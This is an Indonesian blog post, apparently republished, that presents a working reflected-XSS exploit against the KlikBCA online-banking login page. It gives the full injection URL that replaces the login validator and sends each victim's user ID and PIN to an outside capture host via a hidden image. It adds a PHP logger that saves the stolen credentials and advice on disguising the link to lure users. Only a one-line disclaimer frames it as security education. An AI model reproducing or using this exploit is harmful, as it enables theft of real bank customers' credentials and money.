Label

4 STEP FOR YOUR BISNIS A SEARCH ENGINE OPTIMIZATION GUIDE ANALYSIS AND VIRUS DEFRAUDING ANTI VIRUS FROM INDONESIA ANTI VIRUS PCMAV FROM INDONESIA Apa HTTP dan HTTPS Apa Move Service Domain Aplikasi Excel Aplikasi Real Market Indonesia suatu Aplikasi berbasis Iphone dan Smatphone Arti Rekursi dan Proses Rekursi Artister Error upload template to blog Asian Konsultansi Online: Cara Menulis Arab pada Allah dan Rasul Bahasa Pemrograman C++ Bahasa Perintah pada Expert Advisor Mql4 BECOME A WEB MASTER Belajar Excel Belajar membuat EA atau Robot Forex Bing Yahoo dan Google Analytics Buku Wajib Bagi Trader Mahir Menganalisa Pergerakan Harga & Membuat EA Cara masang tombol Share Media Sosial Fb Twitter G+ dan lainnya Cara Memasang Aneka WIDGET di Website Cara memasang penangkal atau menyalurkan Petir Cara membuat Aplikasi berita terupdate dengan Visual Basic Cara Membuat Aplikasi Mobile dengan QT Cara membuat Aplikasi Mobile Iphone & Android Cara membuat Backup Image recovery OS Windows XP dan Windows 7 Cara Membuat Boot Flash Disk untuk penginstallan Awal Windows Cara Membuat Konten E-learning dengan Microsoft Cara membuat SITEMAP dan Apa itu SITEMAP Cara membuat Teks bergerak keatas dan kesamping Cara memindahkan domain blogspot ke domain yang lain Cara Mendapatkan ribuan backlinks gratis Cara mengetahui CNAME Domain pada Blog yang Hilang Cara mengetahui Gambar mempunyai hak cipta Cara mengetahui Kode Rahasia Domain (security Code) Cara menggunakan DDE SERVER di MT4 dan Excel Cara mengirim bertype Exe via gmail Cara Menguji Website bisa diakses di OS Mobile (HP) Cara Menyelamatkan data pada flashdisk dan Harddisk yang error Cara Mudah Belajar Cool Edit Pro Cara Mudah Membuat Widget Web Sendiri Code Warna warna HTML Dengan Aplikasi Whaff Ribuan Dollar diraih Download AVG Anti-Virus Free Edition Download Avira Free Antivirus Download Satu Aplikasi Chatting untuk android lengkap Download Template Blog yang keren ELEMEN DASAR C++ Excel Dasar Excel Mahir Excel Menengah Excel Terapan Excel VBA Forum Tanya Jawab Game Google Talk & Yahoo Messenger Hacking Mandiri Internet Banking How to do business online for beginner? IKUTI BEDAH BUKU "MAHIR MENGANALISA PERGERAKAN HARGA & MEMBUAT EA" Informasi-Programmer-Petualang-kuliner: Bahasa Pemograman C++ Buy dan sell Informasi-Programmer-Petualang-kuliner: Cara Memasukan Indikator MT4 Informasi-Programmer-Petualang-kuliner: Download Aplikasi Android SDK Informasi-Programmer-Petualang-kuliner: Download Aplikasi Connectify Hotspot Informasi-Programmer-Petualang-kuliner: Download RealVNC Remote Control Install Flash Player konten agar tidak di copy paste Logika EA Martil Perkalian bebas dan pemindahan Take Profit Mahir Menganalisa dan Membuat EA Mahir Menganalisa pergerakan harga dan Membuat EA Mandriva InstantOn Membuat Aplikasi Biodata Visi dan Misi Calon pemimpin Membuat EA atau Robot Trading secara Online Mendapatkan Dollar dengan Aplikasi Whaff MENGAPA MEMILIH BAHASA PEMOGRAMAN C + + Mengenai Teknologi Java Mengenal Visual Basic 6.0 Menjaring Password dengan Firefox Sniffer Menjaring Password KlikBCA dengan XSS OPERATOR DAN STATEMENT Optimalkan Seo dengan Search Engine google Panduan Dasar Microsoft WebMatrix Pelajaran Syntaq PHP mysql_info() & mysql_num_filed() Pelajaran Syntaq SQL Create Database & Table Pelajaran Syntax HTML <blockquote> & <bdo> Pelajaran Syntax HTML address area dan base Pelajaran Syntax HTML Button & Caption Pelajaran Syntax HTML del dir dan div Pelajaran Syntax HTML fieldset font form & frame Pelajaran Syntax HTML h1 head meta & menu Pelajaran Syntax HTML Kedua Pelajaran Syntax HTML noframes noscript & option Pelajaran Syntax HTML Script Select Strike & Span Pelajaran Syntax PHP asin() & acos() Pelajaran syntax PHP bindec() & decbin() Pelajaran Syntax PHP Do While & For Loop Pelajaran Syntax PHP executable readable & writable Pelajaran Syntax PHP fgets fgetc & file_exits Pelajaran Syntax PHP Fstat Fread COpy & Unlink Pelajaran Syntax PHP ftp_connect() & ftp_close() Pelajaran Syntax PHP ftp_delete() & ftp_exec() Pelajaran Syntax PHP ftp_quit() & ftp_rename() Pelajaran Syntax PHP getdate idate & strtotime Pelajaran Syntax PHP money_format() & number_format() Pelajaran Syntax PHP mysql_connect & Mysql_close() Pelajaran Syntax PHP mysql_fetch_lengths() & object() Pelajaran Syntax PHP mysql_result() & mysql_select_db() Pelajaran Syntax PHP rand() Pow() & echo() Pelajaran Syntax PHP Readfile Setcookie Unset & Mail Pelajaran Syntax PHP round() fmod() & exp() Pelajaran Syntax PHP set_exception_handler & Error_log Pelajaran Syntax PHP Struktur Dasar Pelajaran Syntax PHP trim() chop() atau rtrim() Pelajaran Syntax SQL dateDiff() & Date_Format() Pelajaran Syntax SQL Order By Like & Between Pelajaran Syntax SQL union & Alter Table Pelajaran Syntax SQL Update Delete & Left Join Pelajaran Syntax Visual basic MsgBox Pelajaran Visual Basic MsgBox & if then else Pelajaran Visual Basic Select Case & Len() Pelajaran Visual Basic Space$() & Replace() Pelajaran Visual Basic TimeSerial() & InputBox() Pelajaran Visual Basic WeekDay() & WeekDayName() Pengenalan Bahasa Pemograman JAVA Perjalanan Syntax HTML Table Textarea & Tittle RECEIVE BUSINESS SERVICES HACKING Rumus Excel STATEMENT CONTROL C++ Syntax HTML (Hypetext Markup Language Teknik Social Engineering Tentang Internet Information Services (IIS) The Ultimate Business Model for Newbies Variable dan Operator di Visual basic Video Cara Membuat Blog buat Adik-Adik Video Mahir menganalisa pergerakan harga dan membuat EA World of online business

Menjaring Password KlikBCA dengan XSS

Menjaring Password  KlikBCA dengan XSS

expertadvisor.blogspot.com akan memberikan contoh exploit yang cukup berbahaya

Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.

Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang  tidak  secara  langsung,  namun  ingat  satu  bug  bisa  di-exploit  dengan  1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability


xss bug

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:

<script>
var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
alert(err); iBankForm.action='login.jsp'; iBankForm.submit();
</script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value
(strError)=TEST';alert(document.cookie);<!--

URL di atas menghasilkan source html berikut:

1 <script type="text/javascript">
2    var err='TEST';alert(document.cookie);<!--'
3    alert(err);
4   iBankForm.action='login.jsp';
5   iBankForm.submit();
6  </script>
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini :



Strategy and Tactics

Strategi  yang  di pakai  untuk  mendapatkan  username  dan  password  sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu maka menggunakan taktik berikut:
1.   Meng-intercept klik tombol submit
2.   Mengirimkan user dan password ke server saya
3.   Mencatat user dan password di server saya
Intercepting Submit Button

Maka akan menemukan kendala dalam mengintercept submit  button. Kalau kita lihat  pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

1 <input type="Submit" value="LOGIN" name="value(Submit)"
2 onclick="javascript:return Login_Form_Validator(document.frmParam)"
3 onmouseover="this.style.cursor='hand'" />

Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {

document.forms[0]['value(user_id)'].autocomplete = 'off';
document.forms[0]['value(pswd)'].autocomplete = 'off';

var blnResponse = false;
if (blnSubmitted) {
return false;
}
var strErrMsg = "";
if( document.forms[0]['value(user_id)'].value == '') { alert("Silakan mengisi User ID anda/Please input your User ID"); document.forms[0]['value(user_id)'].focus();
return false;
}
if( document.forms[0]['value(user_id)'].value.length>12) {
alert("User ID/Password Anda salah / Your User ID/Password is
Wrong");
document.forms[0]['value(user_id)'].select();
document.forms[0]['value(user_id)'].focus();
return false;
}

if(document.forms[0]['value(pswd)'].value == '') { alert("Silakan mengisi PIN anda/Please input your PIN"); document.forms[0]['value(pswd)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value.length<6) {
alert("PIN harus 6 Angka/PIN must be 6 digits");
document.forms[0]['value(pswd)'].focus();
return false;
}

//if(strErrMsg != '') {
//  alert(strErrMsg);
//  return false;
//}

//blnSubmitted =  confirm("Click OK to login.");
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}
//if('< %= blnLogout %>'=='true')
//blnResponse = false;

return blnResponse;

}
Bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.

Setelah memperhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian  buat  browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.

Jadi URL untuk menjalankan taktik di atas adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=login&value( strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--

URL tersebut menghasilkan source html berikut:
<script>
var   err='TEST';function
Login_Form_Validator(theForm){alert('TEST');return
false;}</script><noscript><!--'
alert(err); iBankForm.action='login.jsp'; iBankForm.submit();
</script>



function overridden

Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa  mengisi  username  dan  password.  Ternyata  yang  muncul  adalah  dialog  box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.

Sending username and password

Oke, sekarang ketika user  mengklik  submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu

juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.

Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:

<img src="http://expertadvisorku.blogspot.com/testcapture.php" name="myimage" width="1" height="1">

Sedangkan variabel yang berisi username dan password adalah:

document.forms[0]['value(user_id)'].value document.forms[0]['value(pswd)'].value

Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:

'http://expertadvisorku.blogspot.com/testcapture.php?userid='+document.forms[0][
'value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].val
ue

Selanjutnya saya harus membuat  fungsi Login_Form_Validator mengubah atribut  src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.

Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng- klik sekali lagi.

Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:
var abc=false;
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src='http://
expertadvisorku.blogspot.com/testcapture.php
'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+docum
ent.forms[0]['value(pswd)'].value;
abc = true;
return false;
}
}
Kini  sudah  lengkap  semua  yang  dibutuhkan,  siap  untuk  diinjeksikan  melalui  URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc)
{abc=true;document.images.myimage.src='http://
expertadvisorku.blogspot.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26p
asswd='%2Bdocument.forms[0]['value(pswd)'].value;return
false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--

URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan     membuat     link     dengan     anchor     text     di     samarkan,     seperti     ini:

Klik di sini untuk login.

Bila  kita  coba  isi  dengan  username:abc1234  dan password:123456.  Maka  pada  klik pertama akan ada request GET ke URL berikut ini:

http://expertadvisorku.blogspot.com/testcapture.php?userid=abc1234&passwd=123456

Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.

Saving User and Password

Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini menggunakan URL www.expertadvisorku.blogspot.com/testcapture.php

maka kita menyimpan user dan password dalam file capture.txt. Kode PHP yang digunakan untuk menyimpan user dan password adalah sebagai berikut:

1 <?php
2 $file=fopen("capture.txt","a+");
3 $userid=$_GET["userid"];
4 $passwd=$_GET["passwd"];
5 $ipaddr=$_SERVER["REMOTE_ADDR"];
6 $now = date("Ymd H:i:s");
7 if (!empty($userid)) {
8         fwrite($file,"$userid  =&amp;gt;  $passwd  (at  $now  from
9 $ipaddr)\n");
10 }
11 fclose($file);
?>

Kesimpulan dalam hal ini adalah : Bahwa pengetahuan ini  untuk  meningkatkan  kemampuan  dalam keamanan Jaringan.
Ternyata  bug  yang  di-remehkan  seperti  XSS  sekalipun,  bila  di-exploit  bisa  jadi berbahaya. dalam hal ini telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Maka yang pelu diperhatikan adalah: Never  Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

NB : Expertadvisorku.blogspot.com sudah diganti yang asalnya adalah www.ilmuhacking.com By Rizki Wicaksono

0 Response to "Menjaring Password KlikBCA dengan XSS"

Posting Komentar